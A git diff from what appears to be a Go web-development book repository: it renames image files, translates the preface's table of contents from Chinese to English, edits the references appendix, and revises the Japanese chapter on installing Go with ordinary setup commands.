structure for gitbook similarity index 100% rename from en/images/navi5.png rename to en/images/navi5.png~update the structure for gitbook diff --git a/en/eBook/images/navi6.png b/en/images/navi6.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi6.png rename to en/images/navi6.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi6.png b/en/images/navi6.png~update the structure for gitbook similarity index 100% rename from en/images/navi6.png rename to en/images/navi6.png~update the structure for gitbook diff --git a/en/eBook/images/navi7.png b/en/images/navi7.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi7.png rename to en/images/navi7.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi7.png b/en/images/navi7.png~update the structure for gitbook similarity index 100% rename from en/images/navi7.png rename to en/images/navi7.png~update the structure for gitbook diff --git a/en/eBook/images/navi8.png b/en/images/navi8.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi8.png rename to en/images/navi8.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi8.png b/en/images/navi8.png~update the structure for gitbook similarity index 100% rename from en/images/navi8.png rename to en/images/navi8.png~update the structure for gitbook diff --git a/en/eBook/images/navi9.png b/en/images/navi9.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/navi9.png rename to en/images/navi9.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/navi9.png b/en/images/navi9.png~update the structure for gitbook similarity index 100% rename from en/images/navi9.png rename to en/images/navi9.png~update the structure for gitbook diff --git a/en/eBook/images/polling.png b/en/images/polling.png~380a8ee74c41759d8189ad553423467994187253 similarity index 100% rename from en/eBook/images/polling.png rename to en/images/polling.png~380a8ee74c41759d8189ad553423467994187253 diff --git a/en/images/polling.png b/en/images/polling.png~update the structure for gitbook similarity index 100% rename from en/images/polling.png rename to en/images/polling.png~update the structure for gitbook diff --git a/en/preface.md b/en/preface.md index c2cf4878..58da2dc1 100644 --- a/en/preface.md +++ b/en/preface.md @@ -1,96 +1,96 @@ -* 1.[Go环境配置](01.0.md) - - 1.1. [Go安装](01.1.md) - - 1.2. [GOPATH 与工作空间](01.2.md) - - 1.3. [Go 命令](01.3.md) - - 1.4. [Go开发工具](01.4.md) - - 1.5. [小结](01.5.md) -* 2.[Go语言基础](02.0.md) - - 2.1. [你好,Go](02.1.md) - - 2.2. [Go基础](02.2.md) - - 2.3. [流程和函数](02.3.md) - - 2.4. [struct](02.4.md) - - 2.5. [面向对象](02.5.md) - - 2.6. [interface](02.6.md) - - 2.7. [并发](02.7.md) - - 2.8. [小结](02.8.md) -* 3.[Web基础](03.0.md) - - 3.1 [web工作方式](03.1.md) - - 3.2 [Go搭建一个简单的web服务](03.2.md) - - 3.3 [Go如何使得web工作](03.3.md) - - 3.4 [Go的http包详解](03.4.md) - - 3.5 [小结](03.5.md) -* 4.[表单](04.0.md) - - 4.1 [处理表单的输入](04.1.md) - - 4.2 [验证表单的输入](04.2.md) - - 4.3 [预防跨站脚本](04.3.md) - - 4.4 [防止多次递交表单](04.4.md) - - 4.5 [处理文件上传](04.5.md) - - 4.6 [小结](04.6.md) -* 5.[访问数据库](05.0.md) - - 5.1 [database/sql接口](05.1.md) - - 5.2 [使用MySQL数据库](05.2.md) - - 5.3 [使用SQLite数据库](05.3.md) - - 5.4 [使用PostgreSQL数据库](05.4.md) - - 5.5 [使用beedb库进行ORM开发](05.5.md) - - 5.6 [NOSQL数据库操作](05.6.md) - - 5.7 [小结](05.7.md) -* 6.[session和数据存储](06.0.md) - - 6.1 [session和cookie](06.1.md) - - 6.2 [Go如何使用session](06.2.md) - - 6.3 [session存储](06.3.md) - - 6.4 [预防session劫持](06.4.md) - - 6.5 [小结](06.5.md) -* 7.[文本文件处理](07.0.md) - - 7.1 [XML处理](07.1.md) - - 7.2 [JSON处理](07.2.md) - - 7.3 [正则处理](07.3.md) - - 7.4 [模板处理](07.4.md) - - 7.5 [文件操作](07.5.md) - - 7.6 [字符串处理](07.6.md) - - 7.7 [小结](07.7.md) -* 8.[Web服务](08.0.md) - - 8.1 [Socket编程](08.1.md) - - 8.2 [WebSocket](08.2.md) - - 8.3 [REST](08.3.md) - - 8.4 [RPC](08.4.md) - - 8.5 [小结](08.5.md) -* 9.[安全与加密](09.0.md) - - 9.1 [预防CSRF攻击](09.1.md) - - 9.2 [确保输入过滤](09.2.md) - - 9.3 [避免XSS攻击](09.3.md) - - 9.4 [避免SQL注入](09.4.md) - - 9.5 [存储密码](09.5.md) - - 9.6 [加密和解密数据](09.6.md) - - 9.7 [小结](09.7.md) -* 10.[国际化和本地化](10.0.md) - - 10.1 [设置默认地区](10.1.md) - - 10.2 [本地化资源](10.2.md) - - 10.3 [国际化站点](10.3.md) - - 10.4 [小结](10.4.md) -* 11.[错误处理,调试和测试](11.0.md) - - 11.1 [错误处理](11.1.md) - - 11.2 [使用GDB调试](11.2.md) - - 11.3 [Go怎么写测试用例](11.3.md) - - 11.4 [小结](11.4.md) -* 12.[部署与维护](12.0.md) - - 12.1 [应用日志](12.1.md) - - 12.2 [网站错误处理](12.2.md) - - 12.3 [应用部署](12.3.md) - - 12.4 [备份和恢复](12.4.md) - - 12.5 [小结](12.5.md) -* 13.[如何设计一个Web框架](13.0.md)  - - 13.1 [项目规划](13.1.md)  - - 13.2 [自定义路由器设计](13.2.md) - - 13.3 [controller设计](13.3.md) - - 13.4 [日志和配置设计](13.4.md) - - 13.5 [实现博客的增删改](13.5.md) - - 13.6 [小结](13.6.md)  -* 14.[扩展Web框架](14.0.md) - - 14.1 [静态文件支持](14.1.md) - - 14.2 [Session支持](14.2.md) - - 14.3 [表单支持](14.3.md) - - 14.4 [用户认证](14.4.md) - - 14.5 [多语言支持](14.5.md) - - 14.6 [pprof支持](14.6.md) - - 14.7 [小结](14.7.md) -* 附录A [参考资料](ref.md) \ No newline at end of file +- 1.[Go environment configuration](01.0.md) + - 1.1. [Installation](01.1.md) + - 1.2. [$GOPATH and workspace](01.2.md) + - 1.3. [Go commands](01.3.md) + - 1.4. [Go development tools](01.4.md) + - 1.5. [Summary](01.5.md) +- 2.[Go basic knowledge](02.0.md) + - 2.1. ["Hello, Go"](02.1.md) + - 2.2. [Go foundation](02.2.md) + - 2.3. [Control statements and functions](02.3.md) + - 2.4. [struct](02.4.md) + - 2.5. [Object-oriented](02.5.md) + - 2.6. [interface](02.6.md) + - 2.7. [Concurrency](02.7.md) + - 2.8. [Summary](02.8.md) +- 3.[Web foundation](03.0.md) + - 3.1. [Web working principles](03.1.md) + - 3.2. [Build a simple web server](03.2.md) + - 3.3. [How Go works with web](03.3.md) + - 3.4. [Get into http package](03.4.md) + - 3.5. [Summary](03.5.md) +- 4.[User form](04.0.md) + - 4.1. [Process form inputs](04.1.md) + - 4.2. [Verification of inputs](04.2.md) + - 4.3. [Cross site scripting](04.3.md) + - 4.4. [Duplicate submissions](04.4.md) + - 4.5. [File upload](04.5.md) + - 4.6. [Summary](04.6.md) +- 5.[Database](05.0.md) + - 5.1. [database/sql interface](05.1.md) + - 5.2. [MySQL](05.2.md) + - 5.3. [SQLite](05.3.md) + - 5.4. [PostgreSQL](05.4.md) + - 5.5. [Develop ORM based on beedb](05.5.md) + - 5.6. [NoSQL database](05.6.md) + - 5.7. [Summary](05.7.md) +- 6.[Data storage and session](06.0.md) + - 6.1. [Session and cookies](06.1.md) + - 6.2. [How to use session in Go](06.2.md) + - 6.3. [Session storage](06.3.md) + - 6.4. [Prevent hijack of session](06.4.md) + - 6.5. [Summary](06.5.md) +- 7.[Text files](07.0.md) + - 7.1. [XML](07.1.md) + - 7.2. [JSON](07.2.md) + - 7.3. [Regexp](07.3.md) + - 7.4. [Templates](07.4.md) + - 7.5. [Files](07.5.md) + - 7.6. [Strings](07.6.md) + - 7.7. [Summary](07.7.md) +- 8.[Web services](08.0.md) + - 8.1. [Sockets](08.1.md) + - 8.2. [WebSocket](08.2.md) + - 8.3. [REST](08.3.md) + - 8.4. [RPC](08.4.md) + - 8.5. [Summary](08.5.md) +- 9.[Security and encryption](09.0.md) + - 9.1. [CSRF attacks](09.1.md) + - 9.2. [Filter inputs](09.2.md) + - 9.3. [XSS attacks](09.3.md) + - 9.4. [SQL injection](09.4.md) + - 9.5. [Password storage](09.5.md) + - 9.6. [Encrypt and decrypt data](09.6.md) + - 9.7. [Summary](09.7.md) +- 10.[Internationalization and localization](10.0.md) + - 10.1 [Time zone](10.1.md) + - 10.2 [Localized resources](10.2.md) + - 10.3 [International sites](10.3.md) + - 10.4 [Summary](10.4.md) +- 11.[Error handling, debugging and testing](11.0.md) + - 11.1. [Error handling](11.1.md) + - 11.2. [Debugging by using GDB](11.2.md) + - 11.3. [Write test cases](11.3.md) + - 11.4. [Summary](11.4.md) +- 12.[Deployment and maintenance](12.0.md) + - 12.1. [Logs](12.1.md) + - 12.2. [Errors and crashes](12.2.md) + - 12.3. [Deployment](12.3.md) + - 12.4. [Backup and recovery](12.4.md) + - 12.5. [Summary](12.5.md) +- 13.[Build a web framework](13.0.md) + - 13.1. [Project program](13.1.md) + - 13.2. [Customized routers](13.2.md) + - 13.3. [Design controllers](13.3.md) + - 13.4. [Logs and configurations](13.4.md) + - 13.5. [Add, delete and update blogs](13.5.md) + - 13.6. [Summary](13.6.md) +- 14.[Develop web framework](14.0.md) + - 14.1. [Static files](14.1.md) + - 14.2. [Session](14.2.md) + - 14.3. [Form](14.3.md) + - 14.4. [User validation](14.4.md) + - 14.5. [Multi-language support](14.5.md) + - 14.6. [pprof](14.6.md) + - 14.7. [Summary](14.7.md) +- Appendix A [References](ref.md) \ No newline at end of file diff --git a/en/preface.md~380a8ee74c41759d8189ad553423467994187253 b/en/preface.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..7d4a7689 --- /dev/null +++ b/en/preface.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,96 @@ +* 1.[Go环境配置](01.0.md) + - 1.1. [Go安装](01.1.md) + - 1.2. [GOPATH 与工作空间](01.2.md) + - 1.3. [Go 命令](01.3.md) + - 1.4. [Go开发工具](01.4.md) + - 1.5. [小结](01.5.md) +* 2.[Go语言基础](02.0.md) + - 2.1. [你好,Go](02.1.md) + - 2.2. [Go基础](02.2.md) + - 2.3. [流程和函数](02.3.md) + - 2.4. [struct](02.4.md) + - 2.5. [面向对象](02.5.md) + - 2.6. [interface](02.6.md) + - 2.7. [并发](02.7.md) + - 2.8. [小结](02.8.md) +* 3.[Web基础](03.0.md) + - 3.1 [web工作方式](03.1.md) + - 3.2 [Go搭建一个简单的web服务](03.2.md) + - 3.3 [Go如何使得web工作](03.3.md) + - 3.4 [Go的http包详解](03.4.md) + - 3.5 [小结](03.5.md) +* 4.[表单](04.0.md) + - 4.1 [处理表单的输入](04.1.md) + - 4.2 [验证表单的输入](04.2.md) + - 4.3 [预防跨站脚本](04.3.md) + - 4.4 [防止多次递交表单](04.4.md) + - 4.5 [处理文件上传](04.5.md) + - 4.6 [小结](04.6.md) +* 5.[访问数据库](05.0.md) + - 5.1 [database/sql接口](05.1.md) + - 5.2 [使用MySQL数据库](05.2.md) + - 5.3 [使用SQLite数据库](05.3.md) + - 5.4 [使用PostgreSQL数据库](05.4.md) + - 5.5 [使用beedb库进行ORM开发](05.5.md) + - 5.6 [NOSQL数据库操作](05.6.md) + - 5.7 [小结](05.7.md) +* 6.[session和数据存储](06.0.md) + - 6.1 [session和cookie](06.1.md) + - 6.2 [Go如何使用session](06.2.md) + - 6.3 [session存储](06.3.md) + - 6.4 [预防session劫持](06.4.md) + - 6.5 [小结](06.5.md) +* 7.[文本文件处理](07.0.md) + - 7.1 [XML处理](07.1.md) + - 7.2 [JSON处理](07.2.md) + - 7.3 [正则处理](07.3.md) + - 7.4 [模板处理](07.4.md) + - 7.5 [文件操作](07.5.md) + - 7.6 [字符串处理](07.6.md) + - 7.7 [小结](07.7.md) +* 8.[Web服务](08.0.md) + - 8.1 [Socket编程](08.1.md) + - 8.2 [WebSocket](08.2.md) + - 8.3 [REST](08.3.md) + - 8.4 [RPC](08.4.md) + - 8.5 [小结](08.5.md) +* 9.[安全与加密](09.0.md) + - 9.1 [预防CSRF攻击](09.1.md) + - 9.2 [确保输入过滤](09.2.md) + - 9.3 [避免XSS攻击](09.3.md) + - 9.4 [避免SQL注入](09.4.md) + - 9.5 [存储密码](09.5.md) + - 9.6 [加密和解密数据](09.6.md) + - 9.7 [小结](09.7.md) +* 10.[国际化和本地化](10.0.md) + - 10.1 [设置默认地区](10.1.md) + - 10.2 [本地化资源](10.2.md) + - 10.3 [国际化站点](10.3.md) + - 10.4 [小结](10.4.md) +* 11.[错误处理,调试和测试](11.0.md) + - 11.1 [错误处理](11.1.md) + - 11.2 [使用GDB调试](11.2.md) + - 11.3 [Go怎么写测试用例](11.3.md) + - 11.4 [小结](11.4.md) +* 12.[部署与维护](12.0.md) + - 12.1 [应用日志](12.1.md) + - 12.2 [网站错误处理](12.2.md) + - 12.3 [应用部署](12.3.md) + - 12.4 [备份和恢复](12.4.md) + - 12.5 [小结](12.5.md) +* 13.[如何设计一个Web框架](13.0.md)  + - 13.1 [项目规划](13.1.md)  + - 13.2 [自定义路由器设计](13.2.md) + - 13.3 [controller设计](13.3.md) + - 13.4 [日志和配置设计](13.4.md) + - 13.5 [实现博客的增删改](13.5.md) + - 13.6 [小结](13.6.md)  +* 14.[扩展Web框架](14.0.md) + - 14.1 [静态文件支持](14.1.md) + - 14.2 [Session支持](14.2.md) + - 14.3 [表单支持](14.3.md) + - 14.4 [用户认证](14.4.md) + - 14.5 [多语言支持](14.5.md) + - 14.6 [pprof支持](14.6.md) + - 14.7 [小结](14.7.md) +* 附录A [参考资料](ref.md) \ No newline at end of file diff --git a/en/ref.md b/en/ref.md index ac3ac8d3..2328b8b2 100644 --- a/en/ref.md +++ b/en/ref.md @@ -1,15 +1,13 @@ -# 附录A 参考资料 - -这本书的内容基本上是我学习Go过程以及以前从事Web开发过程中的一些经验总结,里面部分内容参考了很多站点的内容,感谢这些站点的内容让我能够总结出来这本书,参考资料如下: - -1. [golang blog](http://blog.golang.org) -2. [Russ Cox blog](http://research.swtch.com/) -3. [go book](http://go-book.appsp0t.com/) -4. [golangtutorials](http://golangtutorials.blogspot.com) -5. [轩脉刃de刀光剑影](http://www.cnblogs.com/yjf512/) -6. [Go 官网文档](http://golang.org/doc/) -7. [Network programming with Go](http://jan.newmarch.name/go/) -8. [setup-the-rails-application-for-internationalization](http://guides.rubyonrails.org/i18n.html#setup-the-rails-application-for-internationalization) -9. [The Cross-Site Scripting (XSS) FAQ](http://www.cgisecurity.com/xss-faq.html) -10. [Network programming with Go](http://jan.newmarch.name/go) -11. [RESTFul](http://www.ruanyifeng.com/blog/2011/09/restful.html) +# Appendix A References + +This book is a summary of my Go experience, some content are from other gophers' either blog or sites. Thanks them! + +1. [golang blog](http://blog.golang.org) +2. [Russ Cox blog](http://research.swtch.com/) +3. [go book](http://go-book.appsp0t.com/) +4. [golangtutorials](http://golangtutorials.blogspot.com) +5. [轩脉刃de刀光剑影](http://www.cnblogs.com/yjf512/) +6. [Go Programming Language](http://golang.org/doc/) +7. [Network programming with Go](http://jan.newmarch.name/go/) +8. [setup-the-rails-application-for-internationalization](http://guides.rubyonrails.org/i18n.html#setup-the-rails-application-for-internationalization) +9. [The Cross-Site Scripting (XSS) FAQ](http://www.cgisecurity.com/xss-faq.html) \ No newline at end of file diff --git a/en/eBook/ref.md b/en/ref.md~380a8ee74c41759d8189ad553423467994187253 similarity index 53% rename from en/eBook/ref.md rename to en/ref.md~380a8ee74c41759d8189ad553423467994187253 index 2328b8b2..f649f374 100644 --- a/en/eBook/ref.md +++ b/en/ref.md~380a8ee74c41759d8189ad553423467994187253 @@ -1,13 +1,15 @@ -# Appendix A References +# 附录A 参考资料 -This book is a summary of my Go experience, some content are from other gophers' either blog or sites. Thanks them! +这本书的内容基本上是我学习Go过程以及以前从事Web开发过程中的一些经验总结,里面部分内容参考了很多站点的内容,感谢这些站点的内容让我能够总结出来这本书,参考资料如下: 1. [golang blog](http://blog.golang.org) 2. [Russ Cox blog](http://research.swtch.com/) 3. [go book](http://go-book.appsp0t.com/) 4. [golangtutorials](http://golangtutorials.blogspot.com) 5. [轩脉刃de刀光剑影](http://www.cnblogs.com/yjf512/) -6. [Go Programming Language](http://golang.org/doc/) +6. [Go 官网文档](http://golang.org/doc/) 7. [Network programming with Go](http://jan.newmarch.name/go/) 8. [setup-the-rails-application-for-internationalization](http://guides.rubyonrails.org/i18n.html#setup-the-rails-application-for-internationalization) -9. [The Cross-Site Scripting (XSS) FAQ](http://www.cgisecurity.com/xss-faq.html) \ No newline at end of file +9. [The Cross-Site Scripting (XSS) FAQ](http://www.cgisecurity.com/xss-faq.html) +10. [Network programming with Go](http://jan.newmarch.name/go) +11. [RESTFul](http://www.ruanyifeng.com/blog/2011/09/restful.html) diff --git a/ja/01.0.md b/ja/01.0.md index 7a0b4e6d..835e342a 100644 --- a/ja/01.0.md +++ b/ja/01.0.md @@ -1,23 +1,23 @@ -# 1 GOの環境設定 - -Goの世界へようこそ、さっそく初めてみましょう! - -Goは新しい言語です、並列処理、ガベージコレクションを備え、軽快にコンパイルできる言語です。以下のような特徴を持っています: - -- 一台のコンピュータ上であっという間に大型のGoプログラムをコンパイルすることができます。 -- Goはソフトウェアの構造にモデルを与えます。分析をより簡単にこなすことができ、ファイルやライブラリのincludeといったCスタイルの書き出しにありがちな部分を大幅に省くことができます。 -- Goは静的型付け言語です。型に階層の概念が無いのでユーザはその関係に気をとられることもなく、典型的なオブジェクト指向言語よりももっとライトに感じるくらいです。 -- Goは完全なガベージコレクションタイプの言語です。また、基本的な並列処理とネットワークをサポートしています。 -- Goはマルチプロセッサ対応のソフトウェアを作成できるようデザインされています。 - -Goはコンパイラ型言語の一種です。インタプリタ型言語の軽い身のこなしと動的型付け言語の開発効率、それに静的型付け言語の安全性を兼ね備えています。また、今風のネットワークとマルチプロセッサもサポートしています。これらを実現する為には、表現力豊かで且つ軽いクラスシステム・並列処理とガベージコレクション・厳格な依存定義などを言語レベルで満たしていなければなりません。どれもライブラリやツールでは解決しきれないものです。Goはその要望に応えます。 - -この章ではGoのインストール方法と設定についてご紹介します。 - -## 目次 - -![](images/navi1.png?raw=true) - -## links - * [目次]() - * 次へ: [Goのインストール](<01.1.md>) +# 1 GOの環境設定 + +Goの世界へようこそ、さっそく初めてみましょう! + +Goは新しい言語です、並列処理、ガベージコレクションを備え、軽快にプログラムできる言語です。以下のような特徴を持っています: + +- 一台のコンピュータ上であっという間に大型のGoプログラムを作り出すことができます。 +- Goはソフトウェアの構造にモデルを提供します。分析をより簡単にこなせ、Cスタイルの頭にありがちなファイルとライブラリのincludeの大部分を省くことができます。 +- Goは静的型付け言語です。型には階層がありません。このためユーザは型の定義の関係に時間をとられることなく、典型的なオブジェクト指向言語よりももっとライトに感じるくらいです。 +- Goは完全にガベージコレクションタイプの言語です。また、並列処理とネットワークを基本的にサポートしています。 +- Goはマルチプロセッサ対応のソフトウェアを作成できるようデザインされています。 + +Goはコンパイラ型言語の一種です。インタプリタ型言語の軽い身のこなしと動的型付け言語の開発効率、それに静的型付け言語の安全性を兼ね備えています。また、モダンにネットワークとマルチプロセッサもサポートしています。これらの目標を達成するには、解決しなければならない言語上の問題がいくつかあります:表現力豊かだけれども軽いシステム、並列処理とガベージコレクション、厳格な依存定義などです。これらはライブラリやツール無しにはうまくいきません。Goもその要望に応えます。 + +この章ではGoのインストール方法と設定について述べます。 + +## 目次 + +![](images/navi1.png?raw=true) + +## links + * [目次]() + * 次へ: [Goのインストール](<01.1.md>) diff --git a/ja/01.1.md b/ja/01.1.md index 5f96d8f0..ef12dda2 100644 --- a/ja/01.1.md +++ b/ja/01.1.md @@ -1,68 +1,64 @@ # 1.1 Goのインストール ## 3つのインストール方法 -Goにはいくつものインストール方法があります。どれでも好きなのを選んでかまいません。ここでは3つのよくあるインストール方法をご紹介します: +Goにはいくつものインストール方法があります。どれでも好きなのを選んでかまいません。ここでは3つのよくあるインストール方法をご紹介しましょう: -- ソースコードのインストール:標準的なインストール方法です。Unix系システムをよく使うユーザ、特に開発者であれば、設定を好みに合わせて変更できます。 -- 標準パッケージのインストール:Goは便利なインストールパッケージを用意しています。Windows, Linux, Macなどのシステムをサポートしています。とりあえずさっとインストールするにはうってつけでしょう。システムのbit数に対応したインストールパッケージをダウンロードして、"Next"をたどるだけでインストールできます。 **おすすめ** +- ソースコードのインストール:標準的なインストール方法です。Unix系システムをよく使うユーザ、特に開発者にとってはお馴染みの方法です。 +- 標準パッケージのインストール:Goは便利なインストールパッケージを用意しています。Windows, Linux, Macなどのシステムをサポートしています。初心者にはうってつけでしょう。システムのbit数に対応したインストールパッケージをダウンロードして、"Next"をたどるだけでインストールできます。 - サードパーティツールによるインストール:現在便利なサードパーティパッケージも多くあります。たとえばUbuntuのapt-get、Macのhomebrewなどです。これらのシステムに慣れたユーザにはぴったりのインストール方法です。 -最後に同じシステムの中で異なるバージョンのGoをインストールする場合は、[GVM](https://github.com/moovweb/gvm)が参考になります。どうすればよいか分からない場合一番うまくやれます。 +最後に同じシステムの中で異なるバージョンのGoをインストールする場合は、[GVM](https://github.com/moovweb/gvm)が参考になります。どうすればよいか分からない場合一番うまくできます。 ## Goソースコードのインストール -GoのソースコードにはPlan 9 CとAT&Tコンパイラを使って書かれている部分があります。もしソースコードからインストールしたい場合は、あらかじめCのコンパイルツールをインストールしておく必要があります。 +Goソースコードの中で、いくつかの部分はPlan 9 CとAT&Tコンパイラを使っています。そのため、もしあなたがソースコードをインストールしたい場合は、Cのコンパイルツールをインストールしておく必要があります。 -Macでは、Xcodeに適切なコンパイラが含まれています。 +Macシステムでは、Xcodeに適切なコンパイラが含まれています。 -Unixでは、gccなどのツールをインストールする必要があります。例えばUbuntuではターミナルで`sudo apt-get install gcc libc6-dev`を実行することでコンパイラをインストールすることができます。 +Unixシステムでは、gccなどのツールをインストールする必要があります。例えばUbuntuシステムではターミナルで`sudo apt-get install gcc libc6-dev`を実行することでコンパイラをインストールすることができます。 -Windowsでは、MinGWをインストールする必要があります。その後MinGWでgccをインストールして、適切な環境変数を設定します。 +Windowsシステムでは、MinGWをインストールする必要があります。その後MinGWでgccをインストールして、適切な環境変数を設定します。 -直接オフィシャルサイトから[ソースコードをダウンロード](http://golang.org/dl/)できます。対応する`goVERSION.src.tar.gz`のファイルをダウンロードし、`$HOME`ディレクトリに解凍してから以下のコマンドを実行します。 +Goは[Mercurial][hg]を使ってバージョン管理を行います、まずMercurialをインストールしなければ、ダウンロードできません。もしMercurialがインストールされているのであれば、以下のコードを実行します: +もしGoのインストールディレクトリが`$GO_INSTALL_DIR`だったとすると + + hg clone -u release https://code.google.com/p/go cd go/src ./all.bash all.bashを実行後"ALL TESTS PASSED"が表示されると、インストール成功です。 -上記はUnixスタイルのコマンドです、Windowsもインストール方法は似ており、`all.bat`を実行するだけです。コンパイラはMinGWのgccを使います。 +上記はUnixスタイルのコマンドです、Windowsではインストール方法は似ており、all.batを実行するだけです。コンパイラはMinGWのgccを使います。 -もしMacまたはUnixユーザであればいくつかの環境変数を設定する必要があります。再起動しても有効にしたい場合は以下のコマンドを`.bashrc`や`.zsh`に書いておきます。 +その後環境変数をいくつか設定します、 - export GOPATH=$HOME/gopath - export PATH=$PATH:$HOME/go/bin:$GOPATH/bin + export GOROOT=$HOME/go + export GOBIN=$GOROOT/bin + export PATH=$PATH:$GOBIN -ファイルに書き込んだ場合は、`bash .bashrc`や`bash .zshrc`を実行してすぐに設定を有効にします。 - -Windowsシステムの場合は、環境変数を設定する必要があります。pathにgoが存在するディレクトリを追加し、gopath変数を設定します。 - -設定が終わり、コマンドプロンプトで`go`を入力すると、下図のような画面が表示されるはずです。 +下のような画像が現れると、インストール成功です。 ![](images/1.1.mac.png?raw=true) -図1.1 ソースコードインストール後Goコマンドを実行 +図1.1 ソースコードインストール後Goコマンドを実行するの図 -GoのUsage情報が表示されれば、Goのインストールは成功です:もしこのコマンドが存在しない場合は、PATH環境変数のなかにGoのインストールディレクトリが含まれているか確認してください。 +もしGoのUsage情報が現れたら、Goはインストールが成功しています:もしこのコマンドが存在しない場合は、自分のPATH環境変数のなかにGoのインストールディレクトリが含まれているか確認してください。 -> GOPATHについては以降の章で詳しくご説明します ## Go標準パッケージのインストール -Goはさまざまなプラットホームでインストールパッケージを提供しています、これらのパッケージはデフォルトで以下のディレクトリにインストールします:/usr/local/go(Windows:c:\Go)。当然これらのインストール場所を変更することもできます、ただし変更後はあなたの環境変数を以下のように設定する必要があります: +Goはさまざまなプラットホームでインストールパッケージを提供しています、これらのパッケージはデフォルトで以下のディレクトリにインストールします:/usr/local/go(Windowsシステム:c:\Go)。当然これらのインストール場所を変更することもできます、ただし変更後はあなたの環境変数を以下のように設定する必要があります: export GOROOT=$HOME/go - export GOPATH=$HOME/gopath - export PATH=$PATH:$GOROOT/bin:$GOPATH/bin + export PATH=$PATH:$GOROOT/bin -これらのコマンドはMacやUnixユーザであれば`.bashrc`や`.zshrc`ファイルに入れておくべきでしょう。Windowsユーザであれば当然環境変数に入れておきます。 +### 自分の操作しているシステムが32bitか64bitか判断する方法。 -### 自分の操作しているシステムが32bitか64bitか判断する方法 +Goインストールの次はシステムのbit数の判断ですので、この章では先に自分のシステムの種類を確認しましょう。 -Goのインストールにはオペレーティングシステムのbit数を判断する必要があるので、この章では先に自分のシステムの種類を確認しましょう。 +WindowsシステムのユーザはWin+Rを押してcmdを実行してください。`systeminfo`と入力してエンターキーを押します。少しするとシステムの情報が現れます。"システムの種類"の一行に、"x64-based PC"と表示されていれば、64bitシステムです。もし"X86-based PC"とあれば、32bitシステムです。 -WindowsのユーザはWin+Rを押してcmdを実行してください。`systeminfo`と入力してエンターキーを押します。しばらくするとシステムの情報が表示されます。"システムの種類"の一行に"x64-based PC"と表示されていれば64bitシステムです。もし"X86-based PC"とあれば、32bitシステムです。 - -Macユーザは直接64bit版を使用することをおすすめします。GoがサポートしているMac OS Xのバージョンは、すでに32bitプロセッサをサポートしていないためです。 +Macユーザは直接64bit版を使用することをおすすめします。なぜなら、GoがサポートしているMac OS Xのバージョンはすでに32bitプロセッサをサポートしていないからです。 LinuxユーザはTerminalで`arch`(すなわち、`uname -a`)を実行することでシステムの情報を確かめることができます。 @@ -76,19 +72,19 @@ LinuxユーザはTerminalで`arch`(すなわち、`uname -a`)を実行するこ ### Mac インストール -[ダウンロードURL][downlink]にアクセスし、32bitシステムはgo1.4.2.darwin-386-osx10.8.pkgをダウンロードします。64bitシステムであればgo1.4.2.darwin-amd64-osx10.8.pkgをダウンロードします。ファイルをダブルクリックし、すべてデフォルトで「次へ」ボタンをクリックします。これでgoはあなたのシステムにインストールされました。デフォルトでPATHの中に適切な`~/go/bin`が追加されています。端末を開いて`go`と入力します。 +[ダウンロードURL][downlink]に接続し、32bitシステムはgo1.0.3.darwin-386.pkgをダウンロードします。64bitシステムであればgo1.0.3.darwin-amd64.pkgをダウンロードします。ファイルをダブルクリックし、すべてデフォルトで「次へ」ボタンをクリックします。これでgoはあなたのシステムにインストールされました。デフォルトでPATHの中に適切な`~/go/bin`が追加されています。このとき端末を開き、`go`と入力します。 -インストール成功の画像が表示されればインストール成功です。 +インストール成功の画像があらわれるとインストール成功です。 -もしgoのUsage情報が表示した場合は、goはすでにインストールされています。もしこのコマンドが存在しないと表示した場合は、自分のPATH環境変数の中にgoのインストールディレクトリが含まれているか確認してください。 +もしgoのUsage情報が現れた場合は、goはすでにインストールされています。もしこのコマンドが存在しないと出てきた場合は、自分のPATH環境変数の中にgoのインストールディレクトリが含まれているか確認してください。 ### Linux インストール -[ダウンロードURL][downlink]にアクセスし、32bitシステムであればgo1.4.2.linux-386.tar.gzを、64bitシステムであればgo1.2.2.linux-amd64.tar.gzをダウンロードします。 +[ダウンロードURL][downlink]に接続し、32bitシステムはgo1.0.3.linux-386.tar.gzをダウンロードします。64bitシステムであればgo1.0.3.linux-amd64.tar.gzをダウンロードします。 -以下ではGoがインストールされたディレクトリを`$GO_INSTALL_DIR`と仮定します。 +今後はGoがインストールされたディレクトリを`$GO_INSTALL_DIR`と仮定します。 -`tar.gz`をインストールディレクトリに解凍します:`tar zxvf go1.4.2.linux-amd64.tar.gz -C $GO_INSTALL_DIR` +`tar.gz`をインストールディレクトリに解凍します:`tar zxvf go1.0.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR` PATHを設定します。`export PATH=$PATH:$GO_INSTALL_DIR/go/bin` @@ -96,36 +92,36 @@ PATHを設定します。`export PATH=$PATH:$GO_INSTALL_DIR/go/bin` ![](images/1.1.linux.png?raw=true) -図1.2 Linuxシステムでインストールに成功したあとgoを実行した時に表示する情報 +図1.2 Linuxシステムでインストールに成功したあとgoを実行して表示される情報 -もしgoのUsage情報が表示された場合は、goはすでにインストールされています。もしこのコマンドが存在しないと出てきた場合は、自分のPATH環境変数の中にgoのインストールディレクトリが含まれているか確認してください。 +もしgoのUsage情報が現れた場合は、goはすでにインストールされています。もしこのコマンドが存在しないと出てきた場合は、自分のPATH環境変数の中にgoのインストールディレクトリが含まれているか確認してください。 ### Windows インストール ### -[Google Code ダウンロードページ][downlink]にアクセスし、32bit の場合は名前に windows-386 を含む msi パッケージを、64bit であれば名前に windows-amd64 を含むものをダウンロードします。ダウンロード後実行しますが、デフォルトのインストールフォルダである C:\Go\を変更してはいけません。他の場所にインストールしてしまうと、あなたが書いた Go コードが実行できなくなってしまうかもしれません。インストールが終わるとデフォルトで環境変数 Path に Go のインストールフォルダの下にある bin フォルダ `C:\Go\bin\` が追加され、Go のインストールフォルダである `C:\Go\` 